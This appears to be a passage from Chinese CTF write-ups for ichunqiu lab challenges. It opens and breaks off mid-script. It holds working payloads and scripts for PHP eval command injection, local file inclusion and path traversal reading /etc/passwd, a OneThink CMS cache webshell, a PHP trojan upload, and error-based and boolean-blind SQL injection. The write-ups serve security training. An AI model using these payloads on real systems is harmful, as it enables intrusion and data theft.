注意:通过该函数在对eval()进行截断重组时,要保持eval()函数内php代码的正确性。本例中使用echo(1来补全代码,也可使用//注释掉多余的代码。
构造:hello=1);show_source('flag.php');echo(1或hello=1);highlight_file('flag.php');echo(1
eval语句为:eval( "var_dump(1);show_source('flag.php');echo(1);");,可得flag。

http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/?hello=1);show_source(%27flag.php%27);var_dump(
方法四:通过Linux命令读取
?hello=);echo%20`cat%20./flag.php`;//
eval语句变成:eval("var_dump();echo `cat ./flag.php`;//");
cat Linux中查看全部文件
./ 执行脚本
http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/?hello=);echo%20`cat%20./flag.php`;//
查看源代码发现flag
view-source:http://665970648b2a408c954b623cdde9536dd68b035fb67b49fa.changame.ichunqiu.com/?hello=);echo%20`cat%20./flag.php`;//
最终flag:
flag{a53a7b5d-aefc-4052-8bc4-9123d217fb33}
题目名称:爆破-1

题目内容:flag就在某六位变量中

writeup:
启动题目场景,获得靶场网站,访问网站,发现一段php代码
php源码:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){//正则表达式^匹配一行的开头,$表示结束。\w表示匹配包括下划线的任何单词字符,等价于'[A-Za-z0-9_]'。*号:匹配前面的子表达式零次或多次。
  die('ERROR');
}
eval("var_dump($$a);");//var_dump — 打印变量的相关信息
show_source(__FILE__);//__FILE__当前运行文件的完整路径和文件名。
?>
                           
                           
这个代码的作用是如果匹配正则表达式/^\w*$/,就打印变量$$a $a是hello,$$a是六位变量$hello

两个//表示开始和结束

^表示开始字符串

$表示结束字符串

\w表示包含【a-z,A-Z, _ , 0-9】

由于$a在函数中,所以函数之外无法访问。如果要访问,将hello修改为超全局变量GLOBALS。 在URL后加?hello=GLOBALS,将参数hello修改为Globals 实际执行语句:
eval("var_dump($$a);")
eval("var_dump($hello);")
eval("var_dump($GLOBALS);")
$GLOBALS的作用:引用全局作用域中可用的全部变量。
这样就会打印出当前定义的所有变量,也包括 include 的文件中的变量,flag 也存在在这些变量中。
因此,post一个参数hello=GLOBALS  把所有变量都 dump 出来
http://54fbed0946d44bd2a402cab3e407aa034dd05f1886b34848.changame.ichunqiu.com/?hello=GLOBALS
最终flag:
flag{d2dc8746-f90d-4844-9436-105df210c437}
题目名称:爆破-3
题目内容:这个真的是爆破
题目writeup:
启动题目场景,获得靶场网站,访问网站,网站显示了一段php代码
http://176216c114b240f2ade5d20646afe7ab01e55eb32f4f48af.changame.ichunqiu.com/
php 代码:
<?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

通过代审计可以得到信息

1、 有一个时间限制120(不清楚是分钟还是秒,不过都不影响,时间都挺充足)

2、 whoami和nums的参数会改变(['nums']++; ['whoami'] = $str_rands;)

3、 由==可看出为弱判断类型,可以用数组进行绕过,md5()==0

4.根据获取到的信息构造payload        ?value[]=ea

5.代码中提到需要提交大于10次,10次过后得到flag

简单的说,就是一开始$_SESSION[‘nums’]是0,且$_SESSION[‘whoami’]是ea。每次传入一个value,如果它的前两位和whoami一样,而且要求substr(md5($value),5,4)==0,

这样nums就可以加一,$_SESSION['whoami]会再一次随机。但是这个值会被打印出来。

后面的弱类型比较我们可以利用md5不支持数组这个漏洞,如果传入md5函数的是一个数组,它会返回NULL。而NULL和0进行弱类型比较是‘相等的’,这样就可以成功绕过

也就是第一次,传入变量?value[]=ea,因此value[0]=ea    与whoami想等,所以nums++   (如果value[]=ea&value=es的话,value[0].value[1]=eaes)

然后随意A-Z+A-Z,写个脚本,把显示出来的两个随机衣服在value[]=xx传值进去,直到输出flag   (千万注意带 session,保持一个回话)

先设置初始值nums=0,time是当前时间,whoami=ea。当whoami=value时,num+1,whoami=$str_rands,循环。nums>=10时,打印flag。120s后会话结束,由于时间120秒,完全可以手工做10次,即可得到flag。

方法:先设置数组value[]=ea

?value[]=ea,得到两个字母,重新给value[]赋值,重复10次,得到flag

使用python脚本获取flag:
import requests

url = "http://176216c114b240f2ade5d20646afe7ab01e55eb32f4f48af.changame.ichunqiu.com/?value[]=ea"

al = ['abcdefghijklmnopqrstuvwxyz']

s = requests.session()

r = s.get(url)

for i in range(20):
url = "http://176216c114b240f2ade5d20646afe7ab01e55eb32f4f48af.changame.ichunqiu.com/?value[]=" + r.content[0:2]
r = s.get(url)
print r.content
或者
import requests
url='http://176216c114b240f2ade5d20646afe7ab01e55eb32f4f48af.changame.ichunqiu.com/'
session=requests.Session()
html=session.get(url+'?value[]=ea').text
for i in range(10):
html=session.get(url+'?value[]='+ html[0:2]).text
print(html)
                          
                          
最终得到flag:
flag{a88328f0-3bd7-4716-8b40-2d2722a96ec7}
题目名称:include

题目内容:没错!就是文件包含漏洞

题目writeup:

启动题目场景,获得靶场网站,访问网站,发现是一个phpinfo函数显示的php配置信息页面

http://ea072f427dc1435a8c8386c81e62c9948e892d4a196a4bd4.changame.ichunqiu.com/

根据题目内容,既然是文件包含,我们查看文件包含 allow_url_include函数,发现是开启状态,那么可以用php://input伪协议进行文件包含
且网站也显示了一段PHP代码
<?php 
show_source(__FILE__);
if(isset($_REQUEST['path'])){
    include($_REQUEST['path']);
}else{
    include('phpinfo.php');
}
通过代码分析,文件包含的参数变量为path,可文件包含读取/etc/passwd内容
http://ea072f427dc1435a8c8386c81e62c9948e892d4a196a4bd4.changame.ichunqiu.com?path=../../../etc/passwd
通过php;//input伪协议构造post数据包 执行php列出网站目录文件的代码,发现列出的文件dle345aae.php和flag有很大关联性。
post:
<?php echo system('ls');?>
利用?path=/var/www/html/dle345aae.php包含 dle345aae.php文件并读取其内容, 但是页面和源码没有任何输出
http://ea072f427dc1435a8c8386c81e62c9948e892d4a196a4bd4.changame.ichunqiu.com/?path=/var/www/html/dle345aae.php

使用php://filter协议查看dle345aae.php文件的内容,因为PHP文件不能直接显示内容所以先base64显示出来,然后再解码。

php://filter 可以用于读取文件源代码,有的时候代码输出会被执行,可以使用base64加密的方式输出。

使用?path=php://filter/read=convert.base64-encode/resource=dle345aae.php读取文件dle345aae.php base64内容,得到base64的falg值

http://ea072f427dc1435a8c8386c81e62c9948e892d4a196a4bd4.changame.ichunqiu.com/?path=php://filter/read=convert.base64-encode/resource=dle345aae.php

得到base64的flag值:PD9waHAgCiRmbGFnPSJmbGFnezk4NjYwZDIyLTNiY2ItNGUwMC1iMGJiLTc2NGQ1NzI4YzQxOH0iOwo=
解密base64得到内容:
<?php
$flag="flag{98660d22-3bcb-4e00-b0bb-764d5728c418}";
最终flag:
flag{98660d22-3bcb-4e00-b0bb-764d5728c418}
题目名称:Zone

题目内容:网站要上线了,还没测试呢,怎么办

题目writeup:

启动题目场景,获得靶场网站,访问网站发现是一个登陆页面,这里爆破无果。

http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/login.php
点击Mini-Zone,并通过burpsuit抓包,发现 cookie中的login=0有点特别,猜测修改其值,可逻辑绕过后台登录。
那么我们尝试将cookie 中login修改为1,并发送数据,可成功看到登录后台主页
先点击 Mini-Zone链接,然后拦截抓包,并将修改为login=1,forward释放拦截包,即可绕过后台登录。
可以看到成功等到后台
点击后台管理页面中Manage链接,然后修改 为login=1,forward释放拦截包,可跳转到一个新的链接地址。
该链接地址为:http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=index&name=php
该链接地址中的 ?module=参数看起来是存在任意文件包含漏洞
这里通过文件包含读取 etc/passwd内容,发现无法读取,猜测../可能被过滤了。
http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=../../../etc/passwd&name=php
输入/manages/admin.php?module=ind../ex&name=php发现页面正常显示后台内容,于是猜想../被过滤了
http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=ind../ex&name=php
所以将../改为..././,于是访问/manages/admin.php?module=..././..././..././etc/passwd&name=txt,可以正常读取/etc/passwd内容
http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=..././..././..././etc/passwd&name=txt
访问不存在的目录,发现该系统中间件服务器为nginx
linux下nginx的默认配置路径为:/etc/nginx/nginx.conf
通过文件包含读取nginx配置文件/etc/nginx/nginx.conf内容,可以正常读取,且包含了网站的物理路径配置文件名,文件名为sites-enabled/default
http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=..././..././..././etc/nginx/nginx.conf&name=txt
通过文件包含读取nginx网站物理路径配置文件sites-enabled/default内容,该配置文件默认路径为:/etc/nginx/sites-enabled/default。
可正常读取其内容,且网站的物理路径为/var/www/html以及autoindex on开启了目录预览功能,可目录遍历/online-movies目录。
http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/manages/admin.php?module=..././..././..././etc/nginx/sites-enabled/default&name=txt
遍历/ online-movies目录
http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/online-movies/
使用../进行上级目录遍历,可遍历到/online-movies../var/www/目录,但是点击html目录就下载 index.php
/online-movies被替换成 /online-movies/
/online-movies../被替换成/online-movies/../
http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/online-movies../var/www/
这时候我们根据配置文件里的其他信息可以知道/var/www/html是根目录
访问robost.txt.发现flag.php文件可以访问,那么flag就存在flag.php中,且flag.php保存在默认根目录/var/www/html下
因此我们访问/var/www/html/flag.php就可以得到flag.php源码,如果是文件就可以直接被下载。t本地通过记事本可以直接查看flag的内容:
http://37f676bc7c03443ebe20d9a4b8fbd8d60dd58a2b9a2d40e8.changame.ichunqiu.com/online-movies../var/www/html/flag.php
最终flag:
flag{7d5081e9-8c46-44d8-92d8-20357d5862f0}
题目名称:OneThink
题目内容:利用已知的漏洞拿shell吧
题目writeup:
启动题目场景,获得靶场网站,访问网站,可以看到该网站的CMS框架是oneThink1.0
http://8887503b1f8f45d08800178afa836ba11670a380fd1f40f4.changame.ichunqiu.com/
根据题目提示是利用已知的漏洞拿shell,于是搜索onethink1.0漏洞,找到 OneThink CMS的缓存漏洞的分析
在注册页面,首先注册一个账号%0aphpinfo();#
http://8887503b1f8f45d08800178afa836ba11670a380fd1f40f4.changame.ichunqiu.com/index.php?s=/home/user/register.html
通过bupsuit对其抓包拦截
并将%0a进行二次url decode,以换行了为准,这里%oa是换行符的意思,缓存到文件的时候起换行作用,然后点击forward,释放拦截
可以看到成功注册(需要注意验证码填入正确)
在登录页面输入用户名%0aphpinfo();# 密码123456登录系统,并对其进行抓包。然后将 %0a进行二次url decode,并点击foreard,成功登录系统
访问Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php路径文件,会发现phpinfo()被解析 ,文件名是固定不变的。缓存内容放到MD5(sys_active_user_list).php中。
http://8887503b1f8f45d08800178afa836ba11670a380fd1f40f4.changame.ichunqiu.com/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php

就是注册个账号为:%0a$a=$_GET[a];//%0aecho `$a`;// 就可以getshell,但是提示注册长度最多16个字符

所以分别注册2个账号:

账号一:%0a$a=$_GET[a];//

账号二:%0aecho `$a`;//

注册账号%0a$a=$_GET[a];//,并抓包,对%0a进行2次url编码,然后forward

注册账号%0aecho `$a`;//,并抓包,对%0a进行2次url编码,然后forward

登录%0a$a=$_GET[a];并抓包,对%0a进行2次url编码,然后forward

登录%0aecho `$a`;//并抓包,对%0a进行2次url编码,然后forward

访问Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=ls ../../目录遍历并查看源码来查找flag,发现flag 在../../flag.php中

view-source:http://8887503b1f8f45d08800178afa836ba11670a380fd1f40f4.changame.ichunqiu.com/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=ls%20%20../../

访问Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat ../../flag.php 获取flag

view-source:http://8887503b1f8f45d08800178afa836ba11670a380fd1f40f4.changame.ichunqiu.com/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=cat%20../../flag.php

最终flag:
flag{eb2966bf-be7f-4b26-a40a-be39d73d775c}
题目名称:Upload
题目内容:来来来,都是套路,贼简单
题目writeup:
启动题目场景获得靶场网站,访问网站,发现页面内容显示"should be a fast man"
http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/
对其主页查看源码,注释中显示需要提交post访问且参数为ichunqiu。
view-source:http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/
在firefox浏览器中构造post参数: ichunqiu=111(参数任意)
然后对其buspuit抓包,发送请求,发现响应包的http头部中包含flag关键字
但是每次发送相同的post数据包,响应头中的flag值不一样
对其flag的base64字符进行解密,发现解密后的字符都是不相同
根据上文中响应页面内容中显示be a fast man,就是说我们请求的速度不够快,因此不能获取到正确的值。
编写脚本获得:
import base64,requests
def main():
    a = requests.session()
    b = a.get("http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/")
    key1 = b.headers["flag"]
    c = base64.b64decode(key1)
    d = str(c).split(':')
    key = base64.b64decode(d[1])
    body = {"ichunqiu":key}
    f = a.post("http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/",data=body)
    print f.text
if __name__ == '__main__':
    main()
得到正确值:
Path:3712901a08bb58557943ca31f3487b7d
根据得到的值,可以看出这个值为路径地址 3712901a08bb58557943ca31f3487b7d。
于是访问3712901a08bb58557943ca31f3487b7d路径,发现页面内容显示一个超链接“welcome@QAQ"
http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/3712901a08bb58557943ca31f3487b7d
点击超链接,显示了一个登陆页面
http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/3712901a08bb58557943ca31f3487b7d/action.php?action=login
通过dirsearch.py对网站根目录进行目录扫描,只发现主页和登录页面。
python3  dirsearch.py   -u  http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/
再次通过direarch.py对网站的 3712901a08bb58557943ca31f3487b7d进行目录扫描,发现存在.svn敏感信息泄露
python3  dirsearch.py   -u  http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/3712901a08bb58557943ca31f3487b7d/
通过snv图像化下载工具,发现并没有可下载的,尝试访问svn目录下存在的默认wc.db,可直接访问
http://353031f6ec9345fea9837b173f8365ed11320213f0614abd.changame.ichunqiu.com/3712901a08bb58557943ca31f3487b7d/.svn/wc.db
得到用户名为: md5(HEL1OW10rDEvery0n3)=8638d5263ab0d3face193725c23ce095

观察登录页面得知 captcha 经过 MD5 之后的前六位为:159f69, 所以需要先求得对应的 captcha 才能提交.写爆破验证码的脚本

import hashlib
def md5(s):
return hashlib.md5(str(s).encode('utf-8')).hexdigest()
def main(s):
for i in range(1,99999999):
if md5(i)[0:6] == str(s):
print(i)
exit(0)
if __name__ == '__main__':
main("159f69")
得到 验证码: 27521218

登录页面输入用户名: 8638d5263ab0d3face193725c23ce095,密码: 123(任意),验证码:27521218

点击 Submit 提交,发现窗口弹出显示7815696ecbf1c96e6894b779456d330e.php
访问 7815696ecbf1c96e6894b779456d330e.php文件路径,得到一个文件上传页面
上传一句话php木马图片马,可成功上传
上传其他的.pht,可获得flag
最终flag:
flag{3d9300a6-1967-48a5-b0d1-d14c3484d2fa}
题目名称:Some Words
题目内容:find the flag
题目writeup:
启动题目场景,获得靶场网站,访问网站,发现网站是一个博客
http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php#
点击我的消息,出现的id值猜测存在sql注入
http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=1
加单引号,页面报错,显示是mysql数据库
http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=1%E2%80%99
测试and 1, 发现and被过滤了
http://030f75b2c48a4f82879a1064ebf9ca869ec6fd87695b4261.changame.ichunqiu.com/index.php?id=1  and 1
测试or 1,发现or 1可用,因为1 or 1 的结果是1,所以显示的结果是和id=1是一样的
http://030f75b2c48a4f82879a1064ebf9ca869ec6fd87695b4261.changame.ichunqiu.com/index.php?id=1  or 1
报错查询数据库
http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select database()),0x7e),1)
http://030f75b2c48a4f82879a1064ebf9ca869ec6fd87695b4261.changame.ichunqiu.com/index.php?id=1 or 1=1
说明=已经被过滤
http://030f75b2c48a4f82879a1064ebf9ca869ec6fd87695b4261.changame.ichunqiu.com/index.php?id=1 or 1>0
测试<和>发现可以使用
经过测试,发现题目拦截了union select,and,=等关键字,但是没有拦截select mid from ascii等关键字,可以利用updexml()函数报错

报错查询数据库,得到数据库名为words
?id=updatexml(1,concat(0x7e,(select database()),0x7e),1)
http://030f75b2c48a4f82879a1064ebf9ca869ec6fd87695b4261.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select database()),0x7e),1)
或者
在报错注入中还有一种简单的方式判断当前数据库即构造?id=a()

该句表示在words数据库中不存在a表

一次输入以下函数得到的返回值:

user()          XPATH syntax error: '~root@localhost~'
database()     XPATH syntax error: '~words~'
version()         XPATH syntax error: '~5.5.57-0ubuntu0.14.04.1~'
@@datadir    XPATH syntax error: '~/var/lib/mysql/~'
查查看表的数量,得到表的数量为83
?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.tables ),0x7e),1) 
http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.tables ),0x7e),1) 
                                     
                                     
查找到 flag所在的表名, 爆破到83,显示fl4g就是flag的表名
?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 1,1),0x7e),1)
?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 83,1),0x7e),1)
http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 83,1),0x7e),1)
查找表的数量,得到表的数量为811
?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.columns ),0x7e),1)

http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select count(*) from information_schema.columns ),0x7e),1)
查找flag所在的字段,可通过二分爆破法进行爆破,这里最多爆破400次就被系统WAF拦截。爆破到808,显示fl4g就是flag的字段名
?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 0,1),0x7e),1)
?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 811,1),0x7e),1)
http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select column_name from information_schema.columns limit 808,1),0x7e),1)
查找f14g字段的内容,发现flag的字段不全
?id=updatexml(1,concat(0x7e,(select f14g from f14g),0x7e),1)
http://24a34cfb3d544653a7a1e0cb65fc89837e5c99478451420b.changame.ichunqiu.com/index.php?id=updatexml(1,concat(0x7e,(select f14g from f14g),0x7e),1)
得到前一大部分的flag:
flag{dcef7c2d-45cf-4f4e-bdbb-d6
既然flag字段显示不全,于是想到利用sql语句的另一个函数reverse(),该函数可以颠倒数组中的顺序
?id=updatexml(1,concat(reverse((select f14g from f14g))),1)
                                       
                                       
得到的值:}e8702f1e646d-bbdb-e4f4-fc54-d2c
那取反得到后一小部分flag:
c2d-54fc-4f4e-bdbb-d646e1f2078e}
最终得到flag:
flag{dcef7c2d-45cf-4f4e-bdbb-d646e1f2078e}
题目名称:“迎圣诞,拿大奖”活动赛题---SQLi
题目内容:find the flag.
题目writeup:
启动题目场景,获得靶场网站,访问网站,页面是一个登陆页面。
http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/
根据题目名称 SQLi,猜测该题是一道SQL注入,那么我参数在登录窗口中输入用户名 admin,密码admin,提交并通过bupsuit对其抓包,发送请求,在响应页面中显示密码错误,那么猜测用户名admin是存在于网站中。
username=admin&password=admin
使用Burp Suite的intruder功能加载常用的键盘符号作为字典来fuzz 系统的waf测试,发现username是admin%的时候报错

报错的内容为sprint().

这里出现sprintf函数警告,查资料了解到,sprintf函数存在格式化字符串逃逸漏洞,由报错可以看出sprintf参数少于%的个数,需要使用占位符的写法,%1$可以逃逸引号的转义;

了解后,我们令username是admin%1\$’ and 1=1%23和admin%1$’ and 1=2%23来判断注入
为什么这样呢?因为放到sprintf里面的字符可能会在之前被转义了,因此我们利用%1$把分号转义出的\吃掉,就可以成功闭合,然后在后面实现注入了。

sprintf格式化字符串所引起的漏洞,具体原理可以参考下面这篇文章:https://blog.csdn.net/WQ_BCJ/article/details/8505744(解析php sprintf函数漏洞)

测试: admin%1\$’ and 1=1%23
username=admin%1$\' and 1=1%23&password=admin
结果返回了username error!,按照一开始的测试来说,若and 1=1执行成功应该会返回password error!猜测and被过滤了,下面换成or语句测试
测试 admin%1$\' or 1=1%23
username=admin%1$\'  or  1=1%23&password=admin
结果返回了password error
测试: admin%1$\'  or  1=2%23
username=admin%1$\'  or  1=2%23&password=admin
结果返回了username error
若第一个提示password error,第二个提示username error则说明此处存在注入
看到sprintf函数时,我们就应该想到php的字符串格式化逃逸漏洞,这个漏洞导致的结果是会将%1$/’ 变为 ’ ,也就是说绕过了单引号的转换,一般情况下sql语句中的单引号都会被转换为\’ ,这不利于我们进行单引号的闭合,借此漏洞,我们完成对sql语句的注入.
* 由于该页面的响应只有两种,没有显位,即没有回显,我们无法直接通过页面的显示来得到数据库内容,那么就只有通过布尔值盲注了。
* 布尔值无法用手工完成,要靠脚本完成,脚本如下:
方法一:
查看当前数据库的长度:
#coding:utf-8
import requests
import string
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://ad38630038fd4c87bd8e55c7bd876412d064d626a2e64cae.game.ichunqiu.com/'
for i in range(30):
    key = "admin%1$\\' or " + "(length(database())=" + str(i) + ")#"
    data = {'username':key, 'password':'111'}
    r = requests.post(url, data=data).content
    if right in str(r):
        print('the length of database is %s' %i)
得到数据库的长度为3
查询数据库名称:
# coding=utf-8
# Data: 2021/8/20 11:10
# File : database.py
import requests
import string



dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/'

database = ''
for j in range(1,4):
for each in dic:
key = "admin%1$\\' or " + "(ascii(substr(database(),%s,1))="%j + str(ord(each)) + ")#"
data = {'username':key, 'password':'111'}
r = requests.post(url, data=data).content
print(key)
if right in str(r):
database += each
print(each)
break
print('the name of database is %s'%database)
得到数据库名:ctf
脚本跑出表的长度:
# coding=utf-8
# Data: 2021/8/20 11:11
# File : tabe_length.py
import requests
import string

dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/'
i = 1
while True:
key = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=" + str(i) + "#"
data = {'username':key, 'password':'111'}
r = requests.post(url, data=data).content
print(r)
if right in str(r):
print('the length of tables is %s' %i)
break
i += 1
得到表的长度为4
脚本跑出表名:
# coding=utf-8
# Data: 2021/8/20 11:13
# File : tabe.py
import requests
import string

dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/'
table = ''
for i in range(1,5):
for j in dic:
key = "admin%1$\\' or " + "(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%s,1))="%i + str(ord(j)) + ")#"
data = {'username':key, 'password':'111'}
r = requests.post(url, data=data).content
print(key)
if right in str(r):
table += j
print(j)
break
print('the name of table is %s'%table)
得到表名为flag
脚本跑出字段长度:
# coding=utf-8
# Data: 2021/8/20 11:14
# File : columns_length.py
import requests
import string

dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/'
i = 1
while True:
key = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name=0x666c6167 limit 0,1)=" + str(i) + "#"
data = {'username':key, 'password':'111'}
r = requests.post(url, data=data).content
print(r)
if right in str(r):
print('the length of columns is %s' %i)
break
i += 1
得到字段长度为4
脚本跑出字段名称:
# coding=utf-8
# Data: 2021/8/20 11:14
# File : columns.py
import requests
import string

dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/'
column = ''
for i in range(1,5):
for j in dic:
key = "admin%1$\\' or " + "(ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1),%s,1))="%i + str(ord(j)) + ")#"
data = {'username':key, 'password':'111'}
r = requests.post(url, data=data).content
print(key)
if right in str(r):
column += j
print(j)
break
print('the name of column is %s'%column)
得到字段名称为flag

脚本跑出字段内容长度:
# coding=utf-8
# Data: 2021/8/20 11:22
# File : data_length.py
import requests
import string

dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/'
i = 1
while True:
key = "admin%1$\\' or " + "(select length(flag) from flag limit 0,1)=" + str(i) + "#"
data = {'username':key, 'password':'111'}
r = requests.post(url, data=data).content
print(key)
if right in str(r):
print('the length of data is %s' %i)
break
i += 1
数据长度为42
脚本跑出字段内容:
# coding=utf-8
# Data: 2021/8/20 11:24
# File : data.py
import requests
import string

dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = 'password error!'
worry = 'username error!'
url = 'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/'
flag = ''
for i in range(1,43):
for j in dic:
key = "admin%1$\\' or " + "(ascii(substr((select flag from flag limit 0,1),%s,1))="%i + str(ord(j)) + ")#"
data = {'username':key, 'password':'111'}
r = requests.post(url, data=data).content
print(key)
if right in str(r):
flag += j
print(j)
break
print('the flag is %s'%flag)
得到flag:
flag{b5b36121-86dd-a4db-aab3-86ddb749dfa1}
也可以将上面的每个脚本整合成一个脚本,跑出flag:
#coding:utf-8
import requests
import string

def boom():
url = r'http://0ef5d71d46ff4873bd0cc981e50c3df3c68ab46c7f474a32.changame.ichunqiu.com/'
s = requests.session()
#会话对象requests.Session能够跨请求地保持某些参数,比如cookies,即在同一个Session实例发出的所有请求都保持同一个cookies,而requests模块每次会自动处理cookies,这样就很方便地处理登录时的cookies问题。
dic = string.digits + string.letters + "!@#$%^&*()_+{}-="
right = 'password error!'
error = 'username error!'
lens = 0
i = 0
#确定当前数据库的长度
while True:
payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"
data={'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens=i
break
i+=1
pass
print("[+]length(database()): %d" %(lens))
#确定当前数据库的名字
strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if right in r:
strs = strs + c
print strs
break
pass
pass
print("[+]database():%s" %(strs))

lens=0
i = 1
while True:
payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"
#对当前的数据库,查询第一个表的长度
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens = i
break
i+=1
pass
print("[+]length(table): %d" %(lens))

#查询第一个表的名称

strs=''
for i in range(lens+1):
for c in dic:
payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"
# 数字一定要str才可以传入
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if right in r:
strs = strs + c
print strs
break
pass
pass
print("[+]table_name:%s" %(strs))
tablename = '0x' + strs.encode('hex')
#编码为16进制
table_name = strs

lens=0
i = 0
while True:
payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#"
data = {'username':payload,'password':1}
r = s.post(url,data=data).content
if error in r:
lens = i
break
i+=1
pass
